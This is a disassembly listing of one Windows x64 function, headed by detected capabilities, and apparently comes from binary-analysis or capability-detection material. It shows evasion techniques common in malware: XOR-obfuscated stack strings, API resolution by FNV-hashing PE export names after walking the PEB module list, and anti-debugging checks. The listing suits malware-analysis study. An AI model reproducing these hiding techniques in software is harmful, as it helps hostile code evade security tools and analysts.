Function at 0x14003e790
Capabilities:
Access peb ldr_data
Delete registry value
Encode data using xor
Execute anti-debugging instructions
Get storage device properties
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x39d8]
mov eax, 0x3ad8
call fcn.140079690
sub rsp, rax
movaps xmmword [rsp + 0x3ac0], xmm6
mov dword [rsp + 0x70], 0
xor eax, eax
mov byte [rbp + 0x3a38], al
mov byte [rbp - 3], al
lea rcx, [rbp + 0x3470]
call fcn.140074910
movabs rcx, 0x519831e1e747b56c
movabs rdx, 0x3b470531f07b3027
movabs rbx, 0x3d9a04dc43b945ab
movabs rsi, 0x51dc3191e737b52d
movabs r8, 0x505e9ddae074f9e4
movabs r9, 0x626e6bc91e44e16c
movabs r10, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xa60], rsi
movabs rdi, 0x3b1b0550f00f3046
mov qword [rbp + 0xa68], rdi
movabs r11, 0x3dfb04bf43d645e7
mov qword [rbp + 0xa70], r11
movabs r14, 0x503b9d8ee028f988
mov qword [rbp + 0xa78], r14
movabs r11, 0x626e6b951e34e101
mov qword [rbp + 0xa80], r11
mov qword [rbp + 0xa88], r10
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], rdx
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], r8
mov qword [rbp + 0x440], r9
mov qword [rbp + 0x448], r10
xor ecx, ecx
mov byte [rbp - 2], cl
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm1, xmmword [rbp + 0x430]
pxor xmm1, xmmword [rbp + 0xa70]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0xa80]
movdqa xmmword [rbp + 0x440], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x420]
mov rcx, rax
call fcn.14004f220
mov rbx, rax
lea rcx, [rbp + 0x3470]
call fcn.14002fb40
cmp rbx, 0xffffffffffffffff
je 0x14003ee88
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1890], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003e9a0
mov r9, qword [rbp + 0x1898]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x14003e997
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14003e970
cmp r10d, esi
jne 0x14003eae7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14003eaef
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x14003eae7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x14003eae7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x14003ea27
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x14003ea00
cmp r10d, r8d
je 0x14003ea39
test r11d, r11d
jne 0x14003e9e0
mov rax, qword [rax]
jmp 0x14003e930
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x14003eaf1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003eaf1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003eaa4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003ea80
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003ead6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003eab0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003e930
xor ebx, ebx
movabs rax, 0x51dc3191e737b52d
mov qword [rbp + 0x10b0], rax
movabs rdx, 0x3b1b0550f00f3046
mov qword [rbp + 0x10b8], rdx
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0x190], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0x198], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x190], xmm0
movabs rdi, 0xa1a4bf871468721
movabs rsi, 0x84419a94f0a28e5f
movabs r8, 0x35b954ffc742da74
movabs r9, 0x496f7d35d0604466
movabs r10, 0x1d9e6ccb63a22686
movabs r11, 0x225ef5ed8e5d98e4
movabs rcx, 0x18106000df98bc56
movabs rax, 0x51dc3191e737b52d
movabs r14, 0x144f2e66666a36a8
movabs r15, 0xe438c3f8f35514ee
movabs r12, 0x5f70c1c9243799d5
movabs r13, 0x3c8f5f3c6dcc2b6f
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xce8], rdx
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xcf0], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0xcf8], rax
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xd00], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xd08], rax
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xd10], rdx
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xd18], rax
movabs rax, 0x3a02a2e97078d7f5
mov qword [rbp + 0xd20], rax
movabs rax, 0x57ec36484da95f0e
mov qword [rbp + 0xd28], rax
movabs rax, 0x562e2517b574cc2f
mov qword [rbp + 0xd30], rax
movabs rax, 0xf9f2f1c64d8cc150
mov qword [rbp + 0xd38], rax
movabs rax, 0xc48e75eda23ba7c9
mov qword [rbp + 0xd40], rax
movabs rax, 0xd9959abc8145eec2
mov qword [rbp + 0xd48], rax
movabs rax, 0x8f1338bbb2bb5353
mov qword [rbp + 0xd50], rax
movabs rax, 0xe2958b6a2d9d1824
mov qword [rbp + 0xd58], rax
movabs rax, 0x453e93c19360393d
mov qword [rbp + 0xd60], rax
mov qword [rbp + 0xd68], rcx
mov qword [rbp + 0x6b0], r8
mov qword [rbp + 0x6b8], r9
mov qword [rbp + 0x6c0], r10
mov qword [rbp + 0x6c8], r11
mov qword [rbp + 0x6d0], rdi
mov qword [rbp + 0x6d8], rsi
mov qword [rbp + 0x6e0], r14
mov qword [rbp + 0x6e8], r15
mov qword [rbp + 0x6f0], r12
mov qword [rbp + 0x6f8], r13
movabs rax, 0x765c4a719507b84a
mov qword [rbp + 0x700], rax
movabs rax, 0xbca5d1ea3de0a438
mov qword [rbp + 0x708], rax
movabs rax, 0x8bc055a1ee72f0e9
mov qword [rbp + 0x710], rax
movabs rax, 0xaeb5caf0c40dce96
mov qword [rbp + 0x718], rax
movabs rax, 0xe66059d992d3273a
mov qword [rbp + 0x720], rax
movabs rax, 0x94fce3095ffc3847
mov qword [rbp + 0x728], rax
movabs rax, 0x6b5bf4a0e0151958
mov qword [rbp + 0x730], rax
mov qword [rbp + 0x738], rcx
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0xce0]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x6c0]
pxor xmm1, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x6e0]
pxor xmm1, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x6e0], xmm1
movdqa xmm0, xmmword [rbp + 0x6f0]
pxor xmm0, xmmword [rbp + 0xd20]
movdqa xmmword [rbp + 0x6f0], xmm0
movdqa xmm1, xmmword [rbp + 0x700]
pxor xmm1, xmmword [rbp + 0xd30]
movdqa xmmword [rbp + 0x700], xmm1
movdqa xmm0, xmmword [rbp + 0x710]
pxor xmm0, xmmword [rbp + 0xd40]
movdqa xmmword [rbp + 0x710], xmm0
movdqa xmm1, xmmword [rbp + 0x720]
pxor xmm1, xmmword [rbp + 0xd50]
movdqa xmmword [rbp + 0x720], xmm1
movdqa xmm0, xmmword [rbp + 0x730]
pxor xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0x730], xmm0
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x6b0]
jmp 0x140046deb
cmp word [0x7ffe0030], 0x43
je 0x14003fa89
movabs r8, 0x51fc31bfe715b517
movabs r9, 0x3b3b0535f0673012
movabs r10, 0x3d8f04d943b94594
movabs r11, 0x505e9dfce049f9ff
movabs r15, 0x62226bdc1e63e121
movabs r12, 0xf66fba8ab9d8ae76
movabs r13, 0x7d7c0e4510235e9f
mov qword [rbp + 0xe10], rsi
mov qword [rbp + 0xe18], rdi
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xe20], rax
mov qword [rbp + 0xe28], r14
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xe30], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xe38], rax
movabs r14, 0x7d290e0310035ecb
mov qword [rbp + 0xe40], r14
movabs rsi, 0xab7cc9f2dd21679c
mov qword [rbp + 0xe48], rsi
movabs rdi, 0x3a02a2e97078d7f5
mov qword [rbp + 0xe50], rdi
movabs rbx, 0x57ec36484da95f0e
mov qword [rbp + 0xe58], rbx
movabs rax, 0x562e2517b574cc2f
mov qword [rbp + 0xe60], rax
movabs rax, 0xf9f2f1c64d8cc150
mov qword [rbp + 0xe68], rax
movabs rax, 0xc48e75eda23ba7c9
mov qword [rbp + 0xe70], rax
movabs rax, 0xd9959abc8145eec2
mov qword [rbp + 0xe78], rax
movabs rax, 0x8f1338bbb2bb5353
mov qword [rbp + 0xe80], rax
movabs rax, 0xe2958b6a2d9d1824
mov qword [rbp + 0xe88], rax
movabs rax, 0x453e93c19360393d
mov qword [rbp + 0xe90], rax
movabs rcx, 0x18106000df98bc56
mov qword [rbp + 0xe98], rcx
movabs rax, 0x6616a6f9f6783f7
mov qword [rbp + 0xea0], rax
movabs rdx, 0x18a2033eac363218
mov qword [rbp + 0xea8], rdx
movabs rax, 0x2c1205c5e6cde991
mov qword [rbp + 0xeb0], rax
movabs rax, 0x1bc13d74520de34a
mov qword [rbp + 0xeb8], rax
movabs rax, 0xe15cb033720f0adb
mov qword [rbp + 0xec0], rax
movabs rax, 0xb16788a2cc62f1ac
mov qword [rbp + 0xec8], rax
movabs rax, 0x18353219f996be85
mov qword [rbp + 0xed0], rax
movabs rax, 0xfc3b9f8e30a0d1e
mov qword [rbp + 0xed8], rax
movabs rax, 0x5c18e3c7fff176bf
mov qword [rbp + 0xee0], rax
movabs rax, 0xffddb07675091460
mov qword [rbp + 0xee8], rax
movabs rax, 0x8cf4db9da2c7cf59
mov qword [rbp + 0xef0], rax
movabs rax, 0xff361d6cbc7e68d2
mov qword [rbp + 0xef8], rax
movabs rax, 0xf346daeb8e78fb63
mov qword [rbp + 0xf00], rax
movabs rax, 0xd5aa6e9a30ee63b4
mov qword [rbp + 0xf08], rax
movabs rax, 0xf78570f1c5f7fe4d
mov qword [rbp + 0xf10], rax
movabs rax, 0x3eee173080d65766
mov qword [rbp + 0xf18], rax
movabs rax, 0x9453d49f2891dc07
mov qword [rbp + 0xf20], rax
movabs rax, 0x3f7fba6e7e7aa128
mov qword [rbp + 0xf28], rax
movabs rax, 0x26218f5b698d8a1
mov qword [rbp + 0xf30], rax
movabs rax, 0xa9b3a7a42258afda
mov qword [rbp + 0xf38], rax
movabs rax, 0x5aa1146398e3566b
mov qword [rbp + 0xf40], rax
movabs rax, 0x8eaa6252ce87203c
mov qword [rbp + 0xf48], rax
mov qword [rbp + 0x740], r8
mov qword [rbp + 0x748], r9
mov qword [rbp + 0x750], r10
mov qword [rbp + 0x758], r11
mov qword [rbp + 0x760], r15
mov qword [rbp + 0x768], r12
mov qword [rbp + 0x770], r13
movabs rax, 0xab35c9a6dd6267d2
mov qword [rbp + 0x778], rax
movabs rax, 0x3a75a2c97036d7ba
mov qword [rbp + 0x780], rax
movabs rax, 0x57cc36204ddd5f67
mov qword [rbp + 0x788], rax
movabs rax, 0x565d257eb51ccc5b
mov qword [rbp + 0x790], rax
movabs rax, 0xf99bf1b44de8c170
mov qword [rbp + 0x798], rax
movabs rax, 0xc4ed75cda25ea7bf
mov qword [rbp + 0x7a0], rax
movabs rax, 0xd9fc9ada812beead
mov qword [rbp + 0x7a8], rax
movabs rax, 0x8f7238c9b2ce5334
mov qword [rbp + 0x7b0], rax
movabs rax, 0xe2fb8b052df41850
mov qword [rbp + 0x7b8], rax
movabs rax, 0x456e93cb936a3913
mov qword [rbp + 0x7c0], rax
movabs rax, 0x18636061dffdbc3a
mov qword [rbp + 0x7c8], rax
movabs rax, 0x6046a1d9f478392
mov qword [rbp + 0x7d0], rax
movabs rax, 0x18d6034dac583271
mov qword [rbp + 0x7d8], rax
movabs rax, 0x2c3205a9e6a1e9f0
mov qword [rbp + 0x7e0], rax
movabs rax, 0x1ba53d1a5264e33d
mov qword [rbp + 0x7e8], rax
movabs rax, 0xe17cb04072780ab4
mov qword [rbp + 0x7f0], rax
movabs rax, 0xb1138882cc0df1df
mov qword [rbp + 0x7f8], rax
movabs rax, 0x18463239f9f3beed
mov qword [rbp + 0x800], rax
movabs rax, 0xfa6b98ce3790d67
mov qword [rbp + 0x808], rax
movabs rax, 0x5c6be3aeffd176d2
mov qword [rbp + 0x810], rax
movabs rax, 0xffaeb01875601440
mov qword [rbp + 0x818], rax
movabs rax, 0x8c98dbf1a2a6cf2d
mov qword [rbp + 0x820], rax
movabs rax, 0xff591d4cbc1a68b7
mov qword [rbp + 0x828], rax
movabs rax, 0xf366da8a8e58fb0d
mov qword [rbp + 0x830], rax
movabs rax, 0xd5dc6ef3309c63d0
mov qword [rbp + 0x838], rax
movabs rax, 0xf7ec7086c5d7fe28
mov qword [rbp + 0x840], rax
movabs rax, 0x3e9a171080be5712
mov qword [rbp + 0x848], rax
movabs rax, 0x9437d4bf28f4dc6f
mov qword [rbp + 0x850], rax
movabs rax, 0x3f0aba0f7e1ca14d
mov qword [rbp + 0x858], rax
movabs rax, 0x20e18d5b6ecd8cd
mov qword [rbp + 0x860], rax
movabs rax, 0xa9d6a7d0222cafbf
mov qword [rbp + 0x868], rax
movabs rax, 0x5ae2144198c35619
mov qword [rbp + 0x870], rax
movabs rax, 0x8eaa6252cea52006
mov qword [rbp + 0x878], rax
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rbp + 0x740], xmm0
movdqa xmm1, xmmword [rbp + 0x750]
pxor xmm1, xmmword [rbp + 0xe20]
movdqa xmmword [rbp + 0x750], xmm1
movdqa xmm0, xmmword [rbp + 0x760]
pxor xmm0, xmmword [rbp + 0xe30]
movdqa xmmword [rbp + 0x760], xmm0
movdqa xmm1, xmmword [rbp + 0x770]
pxor xmm1, xmmword [rbp + 0xe40]
movdqa xmmword [rbp + 0x770], xmm1
movdqa xmm0, xmmword [rbp + 0x780]
pxor xmm0, xmmword [rbp + 0xe50]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp + 0x790]
pxor xmm1, xmmword [rbp + 0xe60]
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmm0, xmmword [rbp + 0x7a0]
pxor xmm0, xmmword [rbp + 0xe70]
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm1, xmmword [rbp + 0x7b0]
pxor xmm1, xmmword [rbp + 0xe80]
movdqa xmmword [rbp + 0x7b0], xmm1
movdqa xmm0, xmmword [rbp + 0x7c0]
pxor xmm0, xmmword [rbp + 0xe90]
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [rbp + 0x7d0]
pxor xmm1, xmmword [rbp + 0xea0]
movdqa xmmword [rbp + 0x7d0], xmm1
movdqa xmm0, xmmword [rbp + 0x7e0]
pxor xmm0, xmmword [rbp + 0xeb0]
movdqa xmmword [rbp + 0x7e0], xmm0
movdqa xmm1, xmmword [rbp + 0x7f0]
pxor xmm1, xmmword [rbp + 0xec0]
movdqa xmmword [rbp + 0x7f0], xmm1
movdqa xmm0, xmmword [rbp + 0x800]
pxor xmm0, xmmword [rbp + 0xed0]
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmm1, xmmword [rbp + 0x810]
pxor xmm1, xmmword [rbp + 0xee0]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmm0, xmmword [rbp + 0x820]
pxor xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmm1, xmmword [rbp + 0x830]
pxor xmm1, xmmword [rbp + 0xf00]
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmm0, xmmword [rbp + 0x840]
pxor xmm0, xmmword [rbp + 0xf10]
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm1, xmmword [rbp + 0x850]
pxor xmm1, xmmword [rbp + 0xf20]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm0, xmmword [rbp + 0x860]
pxor xmm0, xmmword [rbp + 0xf30]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmm1, xmmword [rbp + 0x870]
pxor xmm1, xmmword [rbp + 0xf40]
movdqa xmmword [rbp + 0x870], xmm1
movzx edx, word [0x7ffe0030]
lea rcx, [rbp + 0x3290]
call fcn.140053820
nop
movabs rax, 0x51ae31e4e758b574
movabs rcx, 0x3b750539f0583066
movabs rdx, 0x3d8804c843b94583
movabs r8, 0x50489de0e041f9a8
movabs r9, 0x62026bf91e55e175
movabs r10, 0xf64fbaadb98cae5b
movabs r11, 0x7d5b0e6710235ea5
movabs r15, 0xab5cc997dd5767f5
movabs r12, 0x3a20a2c9700bd79c
movabs r13, 0x51dc3191e737b52d
mov qword [rbp + 0xbd0], r13
movabs r13, 0x3b1b0550f00f3046
mov qword [rbp + 0xbd8], r13
movabs r13, 0x3dfb04bf43d645e7
mov qword [rbp + 0xbe0], r13
movabs r13, 0x503b9d8ee028f988
mov qword [rbp + 0xbe8], r13
movabs r13, 0x626e6b951e34e101
mov qword [rbp + 0xbf0], r13
movabs r13, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xbf8], r13
mov qword [rbp + 0xc00], r14
mov qword [rbp + 0xc08], rsi
mov qword [rbp + 0xc10], rdi
mov qword [rbp + 0xc18], rbx
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x510], rdx
mov qword [rbp + 0x518], r8
mov qword [rbp + 0x520], r9
mov qword [rbp + 0x528], r10
mov qword [rbp + 0x530], r11
mov qword [rbp + 0x538], r15
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], rbx
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [rbp + 0x510]
pxor xmm1, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0xbf0]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [rbp + 0x530]
pxor xmm1, xmmword [rbp + 0xc00]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0x540], xmm0
lea r8, [rbp + 0x3290]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x3490]
call fcn.140054ba0
nop
lea rdx, [rbp + 0x740]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rdx + rcx*2], 0
jne 0x14003f781
mov r8, rcx
lea rdx, [rbp + 0x740]
mov rcx, rax
call fcn.1400588e0
mov rdx, rax
lea rcx, [rbp + 0x3390]
call fcn.14002fc40
nop
lea rcx, [rbp + 0x3490]
call fcn.14002fb40
nop
lea rcx, [rbp + 0x3290]
call fcn.14002fb40
xor esi, esi
mov edi, 0x3625758e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1880], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003f850
mov r8, qword [rbp + 0x1888]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003f847
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003f820
cmp r9d, esi
jne 0x14003f995
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003f99d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003f995
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003f995
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + r12]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x14003f8d7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003f8b0
cmp r9d, edi
je 0x14003f8e9
test r10d, r10d
jne 0x14003f890
mov rax, qword [rax]
jmp 0x14003f7e0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14003f99f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003f99f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003f954
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003f930
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003f984
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003f960
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003f7e0
xor ebx, ebx
movabs rax, 0x51dc3191e737b52d
mov qword [rbp + 0x1360], rax
movabs rax, 0x3b1b0550f00f3046
mov qword [rbp + 0x1368], rax
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1370], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0x1378], rax
movabs rax, 0x519531c3e77cb57e
mov qword [rbp + 0x370], rax
movabs rax, 0x3b360570f05b3016
mov qword [rbp + 0x378], rax
movabs rax, 0x3d8904cd439345c7
mov qword [rbp + 0x380], rax
movabs rax, 0x503b9d8ee05af9e7
mov qword [rbp + 0x388], rax
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x1360]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [rbp + 0x380]
pxor xmm1, xmmword [rbp + 0x1370]
movdqa xmmword [rbp + 0x380], xmm1
lea rcx, [rbp + 0x3390]
call fcn.14002afc0
mov r9d, 0x40010
lea r8, [rbp + 0x370]
mov rdx, rax
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x3390]
call fcn.14002fb40
jmp 0x140046df5
lea rcx, [rbp + 0x80]
call fcn.14001c850
nop
xor esi, esi
mov edi, 0xfa19af96
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x10c0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003fb20
mov r8, qword [rbp + 0x10c8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003fb17
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003faf0
cmp r9d, esi
jne 0x14003fc75
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003fc7d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov qword [rbp + 8], rdx
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003fc75
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003fc75
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x14003fbb7
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003fb90
cmp r9d, edi
je 0x14003fbc9
test r10d, r10d
jne 0x14003fb64
mov rax, qword [rax]
jmp 0x14003fab0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14003fc7f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14003fc7f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x14003fc34
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x14003fc10
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x14003fc64
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x14003fc40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003fab0
xor edx, edx
mov ecx, 0x20
call rdx
mov r15, rax
test rax, rax
je 0x14003fe2c
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov ebx, eax
lea r8, [rbp - 1]
movzx edx, byte [rbp]
lea rcx, [rbp + 0x230]
call fcn.14001c850
lea r8, [rbp + 1]
mov edx, ebx
lea rcx, [rbp + 0x230]
call fcn.140055770
nop
xor r14d, r14d
mov rcx, qword [rbp + 0x238]
mov rbx, qword [rbp + 0x230]
sub rcx, rbx
movabs r13, 0x76b981dae6076b99
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003fe16
xor r12d, r12d
nop
add rbx, r12
mov rax, qword [r15]
mov rax, qword [rax + 0x28]
mov r9, rbx
xor r8d, r8d
mov edx, r14d
mov rcx, r15
call rax
test eax, eax
jne 0x14003fddb
lea rdx, [rbx + 0x200]
mov rax, rdx
cmp byte [rdx], 0
je 0x14003fd38
nop
inc rax
cmp byte [rax], 0
jne 0x14003fd30
sub rax, rdx
